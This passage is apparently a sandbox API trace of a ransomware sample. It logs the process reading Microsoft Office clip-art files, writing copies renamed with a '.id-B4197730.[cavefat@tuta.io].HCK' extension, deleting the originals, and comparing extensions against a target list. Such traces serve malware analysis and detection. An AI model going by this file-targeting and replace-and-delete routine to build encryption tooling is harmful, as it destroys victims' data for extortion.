Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.138] GetLastError () returned 0x0 [0178.138] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x15d49, lpOverlapped=0x0) returned 1 [0178.141] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x15d50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x15d50, lpOverlapped=0x0) returned 1 [0178.143] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.143] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.143] SetEndOfFile (hFile=0x39c) returned 1 [0178.144] CloseHandle (hObject=0x39c) returned 1 [0178.145] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.145] SetEndOfFile (hFile=0x368) returned 1 [0178.150] CloseHandle (hObject=0x368) returned 1 [0178.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400002.png")) returned 1 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString=".doc") returned 4 [0178.157] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString=".docx") returned 5 [0178.157] lstrcmpiW (lpString1=".docx", lpString2="2.PNG") returned -1 [0178.157] lstrlenW (lpString=".pdf") returned 4 [0178.157] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString=".xls") returned 4 [0178.157] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString=".xlsx") returned 5 [0178.157] lstrcmpiW (lpString1=".xlsx", lpString2="2.PNG") returned -1 [0178.157] lstrlenW (lpString=".ppt") returned 4 [0178.157] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString=".zip") returned 4 [0178.157] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString=".rar") returned 4 [0178.157] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString=".bz2") returned 4 [0178.157] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString=".7z") returned 3 [0178.157] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString=".dbf") returned 4 [0178.157] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString=".1cd") returned 4 [0178.157] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString=".jpg") returned 4 [0178.157] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString=".doc") returned 4 [0178.157] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString=".docx") returned 5 [0178.157] lstrcmpiW (lpString1=".docx", lpString2="2.PNG") returned -1 [0178.157] lstrlenW (lpString=".pdf") returned 4 [0178.157] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.157] lstrlenW (lpString=".xls") returned 4 [0178.157] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString=".xlsx") returned 5 [0178.157] lstrcmpiW (lpString1=".xlsx", lpString2="2.PNG") returned -1 [0178.157] lstrlenW (lpString=".ppt") returned 4 [0178.157] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.157] lstrlenW (lpString=".zip") returned 4 [0178.157] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString=".rar") returned 4 [0178.157] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.157] lstrlenW (lpString=".bz2") returned 4 [0178.158] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.158] lstrlenW (lpString=".7z") returned 3 [0178.158] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.158] lstrlenW (lpString=".dbf") returned 4 [0178.158] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.158] lstrlenW (lpString=".1cd") returned 4 [0178.158] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400002.PNG") returned 68 [0178.158] lstrlenW (lpString=".jpg") returned 4 [0178.158] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.158] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.158] lstrlenW (lpString="MP00021_.WMF") returned 12 [0178.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.165] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5622) returned 1 [0178.165] CloseHandle (hObject=0x368) returned 1 [0178.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf")) returned 0x220 [0178.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.171] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.171] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.174] GetLastError () returned 0x0 [0178.174] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x15f6, lpOverlapped=0x0) returned 1 [0178.175] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1600, lpOverlapped=0x0) returned 1 [0178.177] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.177] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.177] SetEndOfFile (hFile=0x370) returned 1 [0178.177] CloseHandle (hObject=0x370) returned 1 [0178.178] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.178] SetEndOfFile (hFile=0x39c) returned 1 [0178.181] CloseHandle (hObject=0x39c) returned 1 [0178.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf")) returned 1 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString=".doc") returned 4 [0178.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString=".docx") returned 5 [0178.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.184] lstrlenW (lpString=".pdf") returned 4 [0178.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString=".xls") returned 4 [0178.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.184] lstrlenW (lpString=".xlsx") returned 5 [0178.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.184] lstrlenW (lpString=".ppt") returned 4 [0178.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString=".zip") returned 4 [0178.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.184] lstrlenW (lpString=".rar") returned 4 [0178.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString=".bz2") returned 4 [0178.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString=".7z") returned 3 [0178.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString=".dbf") returned 4 [0178.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString=".1cd") returned 4 [0178.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString=".jpg") returned 4 [0178.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.184] lstrlenW (lpString=".doc") returned 4 [0178.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.184] lstrlenW (lpString=".docx") returned 5 [0178.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.185] lstrlenW (lpString=".pdf") returned 4 [0178.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.185] lstrlenW (lpString=".xls") returned 4 [0178.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.185] lstrlenW (lpString=".xlsx") returned 5 [0178.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.185] lstrlenW (lpString=".ppt") returned 4 [0178.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.185] lstrlenW (lpString=".zip") returned 4 [0178.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.185] lstrlenW (lpString=".rar") returned 4 [0178.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.185] lstrlenW (lpString=".bz2") returned 4 [0178.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.185] lstrlenW (lpString=".7z") returned 3 [0178.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.185] lstrlenW (lpString=".dbf") returned 4 [0178.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.185] lstrlenW (lpString=".1cd") returned 4 [0178.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF") returned 68 [0178.185] lstrlenW (lpString=".jpg") returned 4 [0178.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.185] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.185] lstrlenW (lpString="NA00057_.WMF") returned 12 [0178.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.192] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10818) returned 1 [0178.192] CloseHandle (hObject=0x300) returned 1 [0178.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf")) returned 0x220 [0178.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.196] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.196] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.198] GetLastError () returned 0x0 [0178.198] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2a42, lpOverlapped=0x0) returned 1 [0178.199] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2a50, lpOverlapped=0x0) returned 1 [0178.200] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.200] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.200] SetEndOfFile (hFile=0x2fc) returned 1 [0178.202] CloseHandle (hObject=0x2fc) returned 1 [0178.204] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.204] SetEndOfFile (hFile=0x370) returned 1 [0178.206] CloseHandle (hObject=0x370) returned 1 [0178.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf")) returned 1 [0178.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.210] lstrlenW (lpString=".doc") returned 4 [0178.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.210] lstrlenW (lpString=".docx") returned 5 [0178.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.210] lstrlenW (lpString=".pdf") returned 4 [0178.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.210] lstrlenW (lpString=".xls") returned 4 [0178.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.210] lstrlenW (lpString=".xlsx") returned 5 [0178.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.210] lstrlenW (lpString=".ppt") returned 4 [0178.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".zip") returned 4 [0178.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.211] lstrlenW (lpString=".rar") returned 4 [0178.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString=".bz2") returned 4 [0178.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString=".7z") returned 3 [0178.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".dbf") returned 4 [0178.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".1cd") returned 4 [0178.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".jpg") returned 4 [0178.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".doc") returned 4 [0178.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString=".docx") returned 5 [0178.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.211] lstrlenW (lpString=".pdf") returned 4 [0178.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString=".xls") returned 4 [0178.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.211] lstrlenW (lpString=".xlsx") returned 5 [0178.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.211] lstrlenW (lpString=".ppt") returned 4 [0178.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".zip") returned 4 [0178.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.211] lstrlenW (lpString=".rar") returned 4 [0178.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString=".bz2") returned 4 [0178.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString=".7z") returned 3 [0178.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".dbf") returned 4 [0178.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".1cd") returned 4 [0178.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 68 [0178.211] lstrlenW (lpString=".jpg") returned 4 [0178.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.212] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.212] lstrlenW (lpString="NA00330_.WMF") returned 12 [0178.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.215] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2148) returned 1 [0178.215] CloseHandle (hObject=0x2fc) returned 1 [0178.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf")) returned 0x220 [0178.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.218] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.218] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 